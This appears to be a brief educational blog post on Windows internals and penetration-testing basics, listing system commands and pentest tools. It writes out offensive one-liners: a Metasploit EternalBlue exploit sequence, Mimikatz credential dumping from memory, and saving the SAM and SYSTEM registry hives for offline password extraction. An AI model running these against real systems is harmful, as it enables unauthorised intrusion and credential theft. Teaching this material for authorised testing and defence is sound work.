Understanding Windows internals is crucial for cybersecurity professionals, especially when performing penetration testing or vulnerability assessments. This article dives into Windows OS architecture, ethical hacking techniques, and tools to strengthen system defenses.
Windows OS Internals
Windows operating system is built on a layered architecture, including:
– User Mode: Applications run here (e.g., browsers, office tools).
– Kernel Mode: Core OS functions (e.g., memory management, drivers).
Key components:
- NTOSKRNL.EXE: The Windows kernel.
- Win32k.sys: Handles GUI operations.
- Registry: Stores system configurations.
Useful Commands
- Check running processes:
tasklist /svc
- View system info:
systeminfo
- Check registry keys:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion
Penetration Testing Fundamentals
Ethical hacking involves simulating attacks to identify vulnerabilities. Common phases:
1. Reconnaissance (Information gathering).
2. Scanning (Ports, services).
3. Exploitation (Gaining access).
4. Post-exploitation (Maintaining access).
Tools & Techniques
- Nmap (Network scanning):
nmap -sV -A target_ip
- Metasploit (Exploitation framework):
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target_ip exploit
- Mimikatz (Credential dumping):
mimikatz.exe "sekurlsa::logonpasswords"
You Should Know:
- Windows Privilege Escalation:
whoami /priv
- Dumping SAM Database:
reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save
- Detecting Lateral Movement:
Get-WinEvent -LogName Security | Where-Object {$_.ID -eq 4624}
What Undercode Say
Mastering Windows internals and ethical hacking techniques is essential for cybersecurity professionals. By understanding system architecture, penetration testers can identify and mitigate vulnerabilities before attackers exploit them.
Expected Output:
- A structured approach to Windows security assessment.
- Hands-on commands for penetration testing.
- Better understanding of Windows internals for defensive strategies.
Would you like a deeper dive into a specific Windows security topic? Let us know!
References:
Reported By: Shihab Hossen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
